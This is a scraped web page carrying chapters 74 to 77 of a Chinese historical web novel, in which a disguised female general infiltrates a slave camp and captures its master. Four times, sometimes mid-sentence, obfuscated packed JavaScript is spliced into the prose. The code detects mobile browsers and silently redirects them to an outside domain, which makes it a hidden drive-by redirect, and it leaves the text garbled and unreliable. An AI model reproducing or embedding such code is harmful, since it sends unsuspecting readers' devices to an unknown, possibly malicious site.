“隼形图腾?”言煜微微皱眉。 孤弈行点了点头:“我见过,是喻威母族的图腾。” 言煜深吸了一口气,薄唇轻抿:“所以你怀疑……” “我怀疑奴隶营的背后和喻威母族脱不了干系。”孤弈行眉头紧锁,“要在祁州造这么大的奴隶营秘密挖去金矿,幕后之人定在朝中有权有势,只凭丁仁舟和翟杰,绝无可能做到。” 言煜点了点头:“接下来有什么打算?” “此地深处苍云川腹地,若是等官兵围剿,只怕他们会杀人灭口。”孤弈行望着奴隶营,眼神坚毅,“要想保全百姓唯一的办法,是擒贼擒王。” “确实如此。” 言煜知晓孤弈行此刻内心的煎熬,心里也不是滋味,缓缓开口:“你永远不会是一个人,我和你一起。” 孤弈行抬眸与言煜对视,心头泛起一阵暖流,点了点头。 孤弈行押着何复往下走去,走到平地之时见坐着椅子上翘着二郎腿的一个监工朝自己这处扔了什么东西,孤弈行抬手接住,见是一个铁质的锁链,上面刻着一串数字,应当对应奴隶的身份号码。 “给新来的带上,免得他们不听话!”翘着二郎腿的监工不屑地笑了笑。 “是。” 孤弈行和言煜押着何复和闫善走到旁边的一处空地上。 “只怕是要委屈二位了。”孤弈行道。 “我们不要紧,但求二位大人一定要救救小枫和我儿子闫绍!”闫善神色激动。 “不只是小枫和闫绍,这里的每一个人都在等着我们。”孤弈行低头,目光落在手中沉重的锁链上,目光如炬。 闫善用力地点了点头,微微浑浊的眼眸里满是红血丝。 “你!别偷懒!” “看什么看!说的就是你!” 就在此时,孤弈行听到背后传来几声暴戾的叫喊声。孤弈行应声转身,见下一秒皮鞭啪地一下打在一个十五六岁的小少年身上,小少年后背上顿时皮开肉绽,令人难以直视。 小少年忍着痛想要爬起,却似呼吸困难整个人脱力又摔了下去,这下倒三角脸的监工打得更狠了,小少年止不住刀子地上抽搐。 就在这时,旁边冲出来一个二十五六岁的年轻男人护在小少年身前,那些监工的鞭子便从小少年身上落到了年轻男人身上。 “你小子喜欢逞英雄是吧!你大爷我这就满足你!” “开饭了!” 孤弈行听到不远处传来叫唤声,顿时定了定神走上前去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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孤弈行随即摘下头巾,赵六和众人的目光随即落在孤弈行身上。 赵六放下手中的酒碗,双手打开撑着桌面,眯了眯眼。 一旁的言煜深吸了一口气,神经顿时紧绷。 反倒是孤弈行泰然自若,勾唇玩味一笑:“赵哥怎么不喝酒了?” “别以为你穿了男装我就看不出你是女人。”赵六蹙了蹙眉。 气氛顿时有些紧张。 “女人?”孤弈行陡然笑了笑,“女人怎么了?赵哥是第一次见到穿男装的女人吗?” “倒也不是。”赵六低头喝酒,“监工队里也有几个,但是像你胆子这么大的还是头一回见。” 言煜舒了一口气。 “跟谁来的?”赵六抬眸道。 孤弈行给自己倒了一碗酒,随即一饮而尽。她的脑海中顿时回想起那个黑脸男人,但她总觉得在这种地方一山难容二虎。 事到如今,她也只能赌一把了。 “那个黑脸男人……” 声声入耳,赵六右手紧握酒碗,眼底有杀气弥漫。 “真是个该死的!我们被他骗了!” 74. 监工 言罢,孤弈行恶狠狠地捶了一下桌子,似是有一肚子恶气不吐不快。 赵六见对方一腔怨气不似作伪,眉间神色稍缓,又喝了一大口酒:“他怎么骗你们了?” “我们听说来这儿干活是个好差事,就托人找关系最终找到了那个黑脸男人。”孤弈行皱眉试探道,“他说能让我们来这儿当差,但是要交二百两一个人的钱。” “所以你们交了?”赵六眼神一沉,声音略显沙哑。 孤弈行点了点头,眉头紧皱:“然后他就一次又一次地讹我们,最终才帮我们安排了差事。” “这个柴铁还真他娘的不是东西!” 还没等孤弈行抱怨,她便见赵六拍案而起,看上去竟似比她这个苦主都要生气,看来二人的确是积怨已深,势如水火,恨不得将对方抽筋扒皮。 “赵哥也讨厌他?”孤弈行挑了挑眉道。 “讨厌?”赵六冷笑一声,居高临下道,“老子最恨就是他!” “当年我们说好了一起在苍云川赚钱,可后来赚得钱多了,他便想独吞,几次三番陷害我,要不是老子命大,早就死了!”赵六死死抓住酒碗,眼底满是戾气。 “竟还有这等事?”孤弈行满脸惊讶。 赵六定了定神,随即坐下:“后来我与他分管这片奴隶营,早已势同水火,我恨不得把他杀了眼睛也干净!” “原来是这样。”孤弈行恍然大悟,举起酒碗和赵六碰杯。 “不然你们到我这儿干吧!”赵六目光落在孤弈行身上,“只要你们跟着我好好干,你赵哥我保你们吃香喝辣!” 孤弈行心头舒了一口气,勾了勾唇:“那感情好,以后就劳烦赵哥照顾!” 孤弈行将碗中的酒一饮而尽,见赵六的目光落在一旁的言煜身上,便一把拉着言煜笑着对赵六道:“实不相瞒我还有件事要和赵哥说。” 赵六挑了挑眉,眼神里闪过戏谑的笑意:“这是你男人吧?” 言煜闻声与孤弈行对视。 孤弈行假装害羞地笑了笑:“这都被赵哥你发现了,赵哥真是慧眼如炬。” “他刚刚可一直在看你,若是我还反应不过来,不成了傻子了?”赵六捧腹大笑。 “以后劳烦赵哥照顾。”言煜欠身道。 “好说好说。”赵六抬眸挥了挥手,唇边露出一抹不怀好意的笑,“只不过……我这儿从来不受废物,你们想到我手底下干活总得让我看到你们的用处吧?” 孤弈行走到赵六身前,眼神丝毫不惧:“赵哥想要看到什么用处?” “爽快!”赵六翘起二郎腿,微微侧身眯了眯眼,指着一个背影道,“这家伙可爱逞英雄了,给他点颜色看看。” 孤弈行心头一沉,顺着赵六手指指的方向望去,果然看见先前救小少年的那个二十五六岁的年轻男人。 “怎么?不敢?”赵六抬眸打量着孤弈行。 孤弈行回过神来勾了勾唇,拿起腰间的皮鞭活动了一下手腕,笑意狠辣:“怎么会呢?赵哥您看好便是!” 赵六一手撑着腮帮子,一脸看好戏的模样。 孤弈行随即朝那二十五六岁的年轻男人走过去,冷声道:“你!过来!” 待孤弈行走得近了些,她看清了面前男人的容貌。 年轻男人生着一张窄长脸,脸上皮肤呈大麦色与脖颈处白皙的肤色脱节,想必是积年累月风吹日晒出来的。在孤弈行的记忆里她从未见过面前的年轻男人,但却从觉得面前人有些眼熟,或者说长得和自己认识的某个人有些相似。 男人听到背后有人喊他,转过身来却看到一个身着男装,英姿飒爽的女人,他的心头顿时泛起一阵激动,而后心绪又因她手中死死攥着的皮鞭而深深压了下去,最终化为一片死寂。 “你在叫我?”男人望见了孤弈行背后坐在酒摊里等着看好戏的赵六。 孤弈行扬唇一笑,眼底闪过一丝狠厉:“没错!我叫的就是你!我赵哥看你不顺眼,你就受我几鞭吧!” 男人没忍住冷笑出声:“长得貌美,倒是心如蛇蝎。” “多谢夸奖。”孤弈行歪头一笑,随即扬起鞭子往男人背上胸膛抽去。 男人闭上眼睛静待皮开肉绽的痛苦,却不成想等鞭子落到自己身上的时候他却愣了一下,睁开了双眼。 她用的力道看着极大,鞭子却是软的,和寻常鞭子不同,抽打在身上是风声大雨点小,和平日里他受的实打实打在肉上的鞭刑来比差远了。 男人一脸困惑地抬头看着孤弈行。 “看什么看!你还敢挑衅我!”孤弈行喝道。 这一声叫唤把男人拉回了现实,他抬眸对上孤弈行含笑的眼神,顿时明白过来,下一秒痛苦地闷哼出声。 孤弈行随即又加大力度抽了一鞭,鞭子落在男人背上的一瞬间男人痛苦地抽搐。 坐在酒摊里的赵六满意地笑了笑,一大碗酒随即又下了肚。 “看来你女人的心倒是挺狠。”赵六挑了挑眉,随即打量了几眼站在一旁的言煜,眼神戏谑,“你受得住?” 言煜抿唇一笑,笑意似乎夹杂着些许窘迫,随即又给赵六倒了一大碗酒:“让赵哥见笑了,看好戏如何能无酒?来!我敬赵哥一碗!” 赵六抽了抽嘴角:“干!” 孤弈行一连几鞭子下来,男人瘫倒在地上,似是虚弱无比。 孤弈行蹲下身来与男人对视,提高了音量:“这次只是一次警告,如若你之后再敢与我赵哥做对,我要的可就是你的命了!” 孤弈行给男人使了个眼色,男人身体蜷缩,孤弈行随即转身而去,大步走到赵六身前。 “赵哥,这出戏看得还不错吗?”孤弈行将皮鞭插回腰间,勾了勾唇。 赵六拍了拍手,似乎很是满意:“何止不错?那是相当漂亮!以后赵哥护着你们!” “多谢赵哥!”孤弈行眉眼轻扬,拿起酒碗,“来!我再敬赵哥一个!” “干!” 孤弈行的酒量是出了名的好,她见赵六脸颊微醺便心生一计继续给赵六灌酒,两三坛下去赵六和手下果然烂醉如泥,再无暇顾及其他。 “没事吧?”言煜见孤弈行只喝酒不吃菜,又为了喝倒赵六一连干了好几坛,上前握住孤弈行的手,神色有些紧张。 孤弈行虽然看上去微醺,但意识依旧清醒,笑着锤了锤言煜的胸口:“放心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038340|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧,要想喝倒我这些可不够!” 言煜舒了口气,但依旧扶着孤弈行的肩膀:“那就好,但以后还是不要喝这么多好,毕竟喝酒伤身。” “我知道,今天这不是特殊情况嘛!”孤弈行笑了笑,随即往酒摊外走去,“走,我们去办正事!” “好。”言煜点了点头。 孤弈行和言煜走了没多久,便看到夜幕之中有人走了过来。 “这儿不是说话的地方,和我来。” 孤弈行抬眸,见对方正是那个得罪赵六的年轻男人,她点了点头,便和言煜跟了上去。 年轻男人带着二人来到了不远处的洞窟之中。洞窟内漆黑一片,只靠年轻男人手里火折子的光亮才能看清脚下的路。 然而男人带着二人走到一处无人的角落便不再往前,只是转身打量着面前两个人。 “为什么帮我?” 孤弈行恣意一笑:“我哪里是帮你?我分明抽了你十几鞭子。” 男人抬了抬眉,道:“别以为我不知道,你今天用的鞭子和其他人不同,鞭子是软的,不过是看着打得狠,抽在身上最多只是擦破点皮,根本不疼。” “鞭子是一样的。”孤弈行挑了挑眉。 男人一愣:“那是为何?” 孤弈行斜斜靠着墙壁,嘴角轻勾:“但是这鞭子我提前用药水浸过,将其软化了。” 男人恍然大悟:“原来是这样。” “不论如何,卢施都谢过了。”卢施与孤弈行对视,微微皱眉,“只是不知姑娘为何来到奴隶营,又为何要救我?如果被赵六发现了,他定会要了你们的命。” 要了他们的命?孤弈行抽了抽嘴角,冷笑道:“想要我们的命,倒还没那么容易。” “想必你也看出来了,我们和赵六不是一伙的。” 孤弈行回想起今日这个叫卢施的男人奋不顾身地替那个小少年挨鞭子,便知晓此人定是有着一腔热血,不是为了保全自身而坐视不管之人。 孤弈行走到卢施身前,压低了音量:“其实……我们是官府的人。” “官府?”卢施眼里闪过一丝惊异,眼神有些茫然,“只是官府惯会坐视不管,难道和奴隶营背后的人不是一伙的吗?” 孤弈行知道一句两句解释不清楚,便只道:“你只要记住我们是来救人的,这便够了。” 卢施见面前人眼神真挚,与那些利欲熏心的狗官不同,便点了点头。 “对了,你是哪里人?是什么时候到这儿来的?”孤弈行道。 “我是祁州本地人。” 卢施神色似是有些为难,但想起是面前女子今日救了自己,最终还是决定坦白:“姑娘是卢施的救命恩人,我也就不瞒姑娘了。” 卢施刻意压低了音量:“我原属横云铁骑,青川兵变之时我有幸逃出生天,回了祁州之后想要找寻我在军中做官的堂兄,后来被人暗算便到了此处。” 孤弈行心中顿时有了一番思量,怪不得她看卢施眼熟。 可是在军中做官的堂兄……孤弈行突然想到了什么,抬眸:“你堂兄叫什么名字?” “回姑娘的话,我堂兄姓孟,单名一个启字。” 75. 洞窟 “你是说孟启是你堂兄?”言煜抿了抿唇。 “是。”卢施重重地点了点头。 怪不得此人孤弈行瞧着有些眼熟,只因其眉眼与孟启长得有三分相似,没想到此人竟是孟启的堂弟。 说起来孤弈行的确听孟启提过他有个堂弟在军中,只是孤弈行还不曾打过照面,如此一来倒是都对上了。 卢施见对方反应,有些激动,上前握住孤弈行的手:“莫非二位认识我堂哥?他……他还活着对吗?” 看来卢施并不知晓孟启下落。孤弈行心想。 孤弈行看着卢施的眼睛,点头一笑:“是,他还活着。” “他现在在哪儿?” 卢施眼眶微红,余光却瞥见自己紧紧握着对方的手,身子一滞,苦笑道:“抱歉姑娘,我方才太激动了。” “无妨。”孤弈行勾了勾唇,压低了音量,“他现在在幽州,人很安全,你不必担心。” 听到孟启没事,卢施舒了一口气,神色稍缓:“那就好那就好。” “不过姑娘究竟是什么人?竟能知晓我堂兄的下落……又……又是官府的人。”卢施微微低头。 孤弈行知晓她如今的处境,特别是在这种时候少一个人知晓她的身份对彼此都有利,是以她笑道:“我的身份暂时还不能告诉你,但是我和你堂兄曾是并肩作战的战友,如果你信得过我的话,我想问你一些事。” “原来如此,姑娘竟也是横云军的人!”卢施顿时感觉面前人格外亲切,拱手作揖,“卢施定当知无不言!” “你来奴隶营之后,可曾见过其他横云军的人,还有凤字军的人?”孤弈行眉心微蹙。 “横云军里的面孔确实见到不少,但是凤字军……”卢施仔细回想,“很少。” 孤弈行右手微微攥紧。 “不过我听监工说奴隶营里每周都会送来女人,听说都是送到一个叫云汐阁的地方,但是那些女人我们从未见过。” “云汐阁?”孤弈行眉头不展,“那是什么地方?也在奴隶营附近?” 卢施点了点头:“听说是奴隶营主人墨雨山人的居所,就在奴隶营附近。” 孤弈行想来此人就是突破奴隶营的关键所在,但要想成功进入云汐阁,她怕是还要费上一番心思。 “你可知每周什么时候会送来人?” “算算日子,应是后日。”卢施抬眸道。 孤弈行微微颔首,似是下定了决心:“我会在后日找机会制造混乱潜入云汐阁挟持墨雨山人,到时候还需要你找人配合。” “好,听凭姑娘安排。” “能带我去看看其他人吗?”孤弈行眉眼清冷。 卢施点了点头:“二位和我来吧,不过他们都睡着了,我们轻一点。” “好。”孤弈行言罢和言煜跟上卢施的脚步。 随着距离越来越近,孤弈行发现面前的洞窟就是沦为奴隶的百姓休息的地方。 里面的床铺极其简陋,只有一些草席和用破旧衣物叠成的床单,年纪小些的小少年和年轻妇女睡在简易的床单上,剩下的男人则大多都是席地而卧。 孤弈行望着地上蜷缩的身影,眼眶微红,良久转身而去。 “有什么打算?”言煜感觉到孤弈行的情绪,轻声道。 “柴铁和赵六积怨已久,我在找一个挑起他们矛盾的机会,这样一来便可以制造混乱让他们无暇顾及其他。”孤弈行蹙眉道。 言煜点了点头:“是个好主意。” “之后我会进入云汐阁擒住那个装神秘的墨雨山人,但是机会只有一次,如果这次失败了,不仅会引起他们的警觉,还会害了卢施他们。”孤弈行右手微微攥紧。 言煜握住孤弈行的手,与孤弈行对视,低声道:“那我们就背水一战,一定能把他们安全带出去。” 孤弈行感觉到他手心的温度,那种压抑在心头的窒息感消散了不少。 她微微扬眉,看着言煜的眼睛,眼神逐渐坚定:“那就背水一战,我还就不信了,我拿不下这个小小的奴隶营!” 声声入耳,言煜仿佛又看到了那个意气风发,俯瞰天下的女帝。言煜知晓,她本该就是这个样子,无所顾忌,张扬自在,再多的苦难也压不垮她,她反而会倔强生长,给敌人致命一击。 想到此处,言煜嘴角轻扬,伸手笑道:“这一次,我做你的战友,如何?” 孤弈行微愣,随即回过神来伸手拍了拍言煜的手掌,笑容张扬恣意:“和天下第一公子做战友倒是稀奇事,不过……我愿意!” 言煜嘴角微微上扬,抿唇道:“不过眼下还是要先找到云汐阁的具体位置。” 孤弈行点了点头,良久心生一计,打了个响指:“有了!” 言煜望着孤弈行,见她勾了勾唇,右手拉过自己的手往洞窟里走去。 卢施见二人去而复返心生疑惑,却也没有多问,只是跟着二人上了台阶。 洞窟内共有七层,孤弈行和言煜一路顺着台阶到了最上层的天台。站在天台上居高临下,奴隶营附近的情况顿时一览无余。 “姑娘是在找云汐阁?”卢施见孤弈行环顾四周,终于反应过来。 “不错。”孤弈行笑着点了点头。 “可是此处虽是奴隶营之中的高处,但附近还有草木植被,如何能找出云汐阁的所在地?”卢施抬眸道。 孤弈行眉眼轻扬,意味深长道:“我要找的不是房子,而是人。” “人?”卢施微微低头,很快明白过来,神色激动,“我知道了!云汐阁附近的流动哨必定更多,也会有专人看守,所以姑娘才说要找的是人!” “聪明。”孤弈行笑了笑,目光落在奴隶营南边不远处的一处楼宇上。 楼宇的大部分被茂密的树林遮盖,若是草草看上一眼察觉不出问题,但附近加强的流动哨却是此地无银三百两。 “就是那里了。”言煜眸色渐沉。 孤弈行点了点头:“时候不早了,我们也该回去了,要是赵六醒来不见我们该起疑了。” “好。” “二位小心,后日我定不辱命。”卢施拱手,眼神坚毅。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049211|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “多谢。”孤弈行颔首。 言罢,孤弈行便和言煜走出洞窟回到了酒摊。琴潇和飞鸢已然在酒摊守候多时,见二人安然回来,心中顿时舒了一口气。 就在此时,赵六的肩膀动了一下,似是恢复了些意识。 “赵哥,要不我扶你回房间?”孤弈行试探道。 “好……”赵六抬了抬手,身体依旧没有其他动静。 孤弈行正想动手,却见言煜主动上前扶起赵六,一双凤眼直愣愣地盯着她,似乎夹杂着些许醋意。 孤弈行回过神来勾了勾唇,拍了拍赵六的后背:“赵哥,可是我们不知道您住哪儿啊!” “就住……住……酒摊东边的屋子。” 赵六一身酒气,说话时酒味更是极重,言煜皱了皱眉偏过头去,看那表情恨不得松手让他一屁股摔在地上。 孤弈行见言煜又好气又无奈又委屈的表情忍不住抽了抽嘴角。 言煜随后扶着赵六往酒摊东侧的屋子走去,两个守在屋子外的监工见到赵六喝得不省人事连忙上前搀扶。 “赵哥,你这么喝成这样啊?后日……是事还要靠您打点呢。”其中一个监工道。 赵六耍酒疯似的摆了摆手:“不……不要紧!一会你赵哥我就缓过来了,就算不行……” 赵六似是想到什么,转身指着孤弈行道:“还有这位小兄弟……我派他去,这点小事出不了乱子。” 两个监工见赵六发了话也不好再说,只是打量了一下面前两人,点了点头。 倒是歪打正着,也省得她再费力气。孤弈行心想,于是揣着明白装糊涂:“赵哥你刚刚说……说后日是有什么事啊?” “你去地宫门口接人就就是了……”赵六啧了啧嘴,随后双腿一软瘫倒在两个监工身上。 “两位大哥,那劳烦你们照顾赵哥,我们先回去了。”孤弈行浅笑道。 守门的监工点了点头,孤弈行和言煜随即转身离开。 “要我和你一起去吗?”言煜眉心微蹙,似是有些不放心。 孤弈行摇了摇头:“挑起二人争端还要靠你,你之后趁乱在云汐阁外接应我便好,若我得手你即可放出信号弹请求支援。” 言煜思量片刻,上前抱住孤弈行,声音低沉:“好,那你自己小心些。” 孤弈行微微勾唇,轻抚他的后背:“放心吧,我到时候会找机会潜入送来的女子之中,再去会一会这个装神秘的墨雨山人。” “嗯。” 第三日。 赵六前日晚上喝得烂醉如泥,休息了整整一日才缓过来,然而他一醒来就听到门外连续不断的敲门声,心头顿时涌起一阵烦躁。 “大白天的敲什么敲!”赵六摸了摸脖子,喝道。 “赵哥,这新来的说有急事找你。” 赵六定了定神,拿起床边的茶碗喝了一口白水:“让她进来!” 言煜推门而入,神色紧张:“赵哥大事不好了!” “慌慌张张的做什么?”赵六皱了皱眉,“还有……怎么是你?那女人呢?” 76. 云汐阁 言煜似是早就料到赵六会这么问,神色不显:“前日赵哥喝得有些多了,担心误事,就让她去地宫外接人了,赵哥莫不是忘了?” 声声入耳,赵六揉了揉太阳穴,记起当时自己的确说了这么一番话。是以赵六也不再追问,只道:“你刚刚慌慌张张的,出了什么事?” 言煜假装定了定神:“刚刚我和几位兄弟在营里监工,柴铁命人将我们赶走,说那些奴隶都归他管,要是我们不识相就让我们好看,还说……说……” 言煜眉头紧锁,似乎很是纠结。 “他说什么?” 赵六刚刚醒来还觉得有些宿醉正觉烦闷,此刻听到柴铁惹事更是心头气愤,顿时黑了脸。 “说……”言煜微微低头,声音逐渐弱了下去,“说赵哥您……您就是他的一个小弟,手下的兄弟就是他手下小弟的狗……” 赵六不然本就恨柴铁入骨,如今旧怨不平又添新愁,如何能受得住这般刺激? 赵六顿时拍案而起,往地上啐了一口唾沫星子,咬了咬牙:“这个王八羔子我看他是不想活了!我倒是要让他看看这是谁的地盘!都给老子拿上家伙什去干他!” “是!赵哥!”言煜应道,随即跟着赵六往外走去。 没走多久,赵六便望见大片奴隶都在柴铁手下干活,而他的地盘倒是只有寥寥数人,看来新来的没说假话。 柴铁见赵六走来,双手叉腰得意洋洋道:“哟!这是谁呀?听说前日喝醉了酒睡了一晚上,现在想起来监工啦?” 柴铁看了一眼空旷的地盘,冷笑:“也没几个人,不如回去睡个大头觉吧!” 赵六心里本就来气,又受了一番柴铁的冷嘲热讽顿时深信不疑,喝道:“你给老子再说一遍!” 柴铁见状上前一步,也分毫不让:“在谁面前装老子样呢赵六!睁大你的狗眼瞧瞧这地盘是你的吗!” 声声入耳,赵六脖颈处情景凸起,抽起长鞭就往柴铁甩去,二人展开缠斗。两边的手下人见了如此情况也开始毫不留情地打了起来,场面顿时一发不可收拾。 而此刻另一边地宫外,孤弈行刚接到人往云汐阁走去。此次送来的女人一共八个,孤弈行瞧着面孔倒是都不熟悉,只有其中有四个看上去气质都与寻常女子不同。 为首的那个身着素色长裙,看上去与孤弈行年纪相仿,时不时地打量着孤弈行。 “看我做什么?”孤弈行挑了挑眉。 “你也是女子。”那女人道。 孤弈行也不意外,只是勾了勾唇:“眼力不错,叫什么名字?” “我叫华澜。”女子眼神丝毫不惧。 “华澜……倒是个好名字。”孤弈行微微颔首,眼尾微微上扬,“不过该我认识你了。” “认识我什么?”华澜微愣。 孤弈行上前一步,与华澜对视:“你气质与寻常女子不同,遇事临危不乱,又虎口有茧,我猜你会武。” 华澜看孤弈行的眼神顿时有些不同。 “但是你却没想着逃跑,我猜你一定是被下了药,所以四肢酸痛浑身无力。”孤弈行眼神笃定。 “你究竟是什么人?”华澜见面前女子能看透人心,顿时后退一步,心生警惕。 孤弈行压低了音量,眉心微蹙:“能救你们的人。” “姐姐你是说你能救我们?”另一个身着粉红色桃花裙的少女激动道。 华澜下意识将少女护在身后,冷言道:“不要轻信任何人。” 孤弈行勾了勾唇,从衣袖中取出一块紫檀木嵌金令牌:“我是骠骑将军洛川,是来救你们的。” 华澜的目光顿时落在那块令牌上,她见那令牌做工精致不似作伪才逐渐放下了警惕,缓缓抬眸:“拼死守住武延城的人就是你?” 孤弈行点了点头:“不错。” 华澜顿时舒了一口气,欠身道:“方才华澜不知是洛将军,多有冒犯,还请洛将军见谅。” “无妨。”孤弈行笑着摇了摇头,“你们是被下了什么药?” “我怀疑是涣神散。” “涣神散……”声声入耳,孤弈行不禁回想起自己在青川峡谷遭到喻威暗算时身中一箭,后来发现箭上之毒正是涣神散。 但让孤弈行觉得奇怪的是,当年自己中毒之后浑身剧痛,反应剧烈,那你动用武功,但面前华澜等人看上去却并无太大反应。 “他们应当只是给我们下了微量的涣神散,只是让我们无法逃跑,并不致死。”华澜道,“传闻武功越强的人中涣神散后反应更大,毒发更快,我虽会武功,但武艺平平这才看上去没事。” “原来如此。” 孤弈行点了点头,却依旧眉头不展,因为她知晓这涣神散出自匈奴之手。如今她已查到线索,怀疑奴隶营的背后是喻威母族作祟,而如今又牵扯上了匈奴,看来这滩水是越来越深了。 孤弈行从衣袖中取出一个白瓷瓶递给华澜:“此药可解百毒,你们先服下。” 华澜微愣,随即回过神来点了点头,眼神感激:“多谢洛将军。” 言罢,华澜将一粒白色药丸咽下,而后将白瓷瓶递给身后的女子。 “洛将军是要潜入云汐阁抓住墨雨山人?”华澜猜测道。 孤弈行点了点头,眼神坚毅:“此人不除,真相不明,祁州百姓便一日没有太平日子可过。” “那我等助洛将军一臂之力。”华澜似是下定了决心。 “好。”孤弈行勾了勾唇。 孤弈行带着一众女子来到云汐阁,经过例行检查后便由一位身着墨绿长裙的中年女人领着进入了楼宇。 “现在已然到了云汐阁,这位监工可以离去了,我来照顾各位姑娘变好。”女人客气地笑着,实际上已是下了逐客令。 孤弈行只是笑了笑,从衣袖里拿出几粒碎银塞到女人手中,女人神色顿时变了。 “您说您这是做什么呀?”女人表情扭捏,时不时地看了几眼手中的碎银。 “姐姐,今日是我第一次被赵哥安排来云汐阁的差事,赵哥特意嘱咐我要尽心,我自然要上心些,看到这些姑娘安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15058848|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全进入房中我才能安心。” 女人笑着点了点头:“原来是这样,那您好好瞧着?瞧完再走?” 孤弈行挑了挑眉:“多谢姐姐。” 孤弈行和女人谈笑间,姑娘们已然被带入了一间屋子,孤弈行放眼望去,见屋内到处都是华美的衣裳和胭脂水粉。 “这里呀就是姑娘们收拾打扮的地方,待姑娘们打扮好往里走会经过一道屏风,在那里待着便好,山人处理完事情一会便来。”女人笑道,“这下您可安心交差了!” “是啊……这下我可安心了。”孤弈行挑了挑眉,转身假装要走,实则待女人不备在其肩上劈了一掌,女人顿时倒了下去。 先前穿着粉红色桃花眼的少女见状差点叫出声来,幸好被华澜捂住了嘴。 “她……她死了?” “没死,只是晕过去了。”孤弈行道,随后换上一件朱红云纱长裙,坐在梳妆台前梳妆。 “我需要你们一会配合我,我不会让你们受到伤害。”孤弈行望着姑娘们道。 “洛将军,我们都相信你。”华澜道。 孤弈行笑着点了点头。 一炷香过后,众人打扮完毕,孤弈行便带着众人往屏风拿出走去,为防止对方因人数起疑,孤弈行留下一人将女人藏起来,而后守在原地。 孤弈行往里走,水汽缭绕似云雾,令人恍如身处云端仙境,但孤弈行却没有一刻敢掉以轻心,因为她知道背后是未知的危险。 没过多久,孤弈行感觉到不远处传来水声,她定睛一看,果然见一男人赤着膀子靠在冒着热气的浴池之中,身后立着两个随从。 男人也听见动静,掀开眼帘,目光落在为首的孤弈行身上。 他见为首女子着一身朱红云纱长裙,长发散落在腰间,薄纱衬得香肩半露,忍不住咽了口口水。 “你,过来。”男人指了指孤弈行,勾了勾唇。 孤弈行挑了挑眉,假装没听清往身后看了看。 “就是你。” 孤弈行回过身来,一步步走入浴池,走到男人身边。 “进来的女人很少有不怕我的,你很特别。”男人看着孤弈行的眼睛,笑道。 孤弈行看清了对方的脸,男人长着一张国字脸,看上去还算清秀,但却让孤弈行感觉到一种说不出的恶心。孤弈行看了一眼男人身后的随从,想来这便是那位墨雨山人了。 起着看似超然脱俗的名字,背地里却干着如此恶心的勾当,当真是人面兽心。 “在看什么?”男人挑了挑眉,伸手抓住孤弈行的手。 孤弈行蹙了蹙眉,假装使不上劲向后靠去:“在看这些坏事的家伙。” “美人可是嫌他们碍事?那我让他们退下便是。”男人见美人在怀,又感觉到对方柔若无骨并无气力,随即挥了挥手示意手下退下。 “现在可好?” “可是我又能得到什么好处?”孤弈行勾了勾唇,眼神尽是魅惑。 “那要看美人想得到什么好处了。”男人嘴角微微上扬。 77. 擒贼 “我想要什么……你就能给我什么吗?”孤弈行迎上男人的目光,挑了挑眉。 男人不说话,只是右手抚上孤弈行的后背。 孤弈行假装生气,微微侧身避开男人的手,勾了勾唇:“那如果我要当奴隶营的女主人呢?” 男人眉心微挑,似乎并不惊讶,伸手去搂孤弈行的腰,笑着看着孤弈行,言语轻佻:“如果你成了我的人,不就是奴隶营的女主人了吗?” “花言巧语。”孤弈行推开男人的手,往浴池后退去。 男人以为对方欲拒还迎,邪笑着向前走去,笑走了几步却感觉自己身体有些发软。他本以为是自己的幻觉,又走了几步开始脚步虚浮。 他顿时反应过来:“你……这水里有问题……” 孤弈行一反先前柔弱姿态,步步向男人逼去,这下换作男人想要仓皇逃离,却因为浴池地滑加上脚步虚浮,根本没有办法走上地板。 “没错,你能下涣神散,我就不能下软骨散吗?”孤弈行勾了勾唇,言罢右手化爪抓住男人肩膀。 男人纵然身体发软,却也没打算束手就擒,旋身化解孤弈行攻势,眼神阴狠:“你不是也使不上力气吗?” “是吗?”孤弈行冷哼一下,不等对方废话猛踢对方右腿,男人毫无准备下盘不稳,整个身子眼看着没入水中。 孤弈行随即腾空而起,稳稳架在他后背上,男人刚刚从水中站起身体本就摇晃不定,又在背后受了孤弈行一掌再次跌入水中。 孤弈行见男人用力挣扎翻起水花阵阵,但她却视若无睹,直到水花逐渐小了些,孤弈行猜到对方已面临濒死状态才将对方提了起来。 男人连连呛水剧烈咳嗽,脸颊通红,头发凌乱,与先前神气的模样截然不同。 “华澜。” 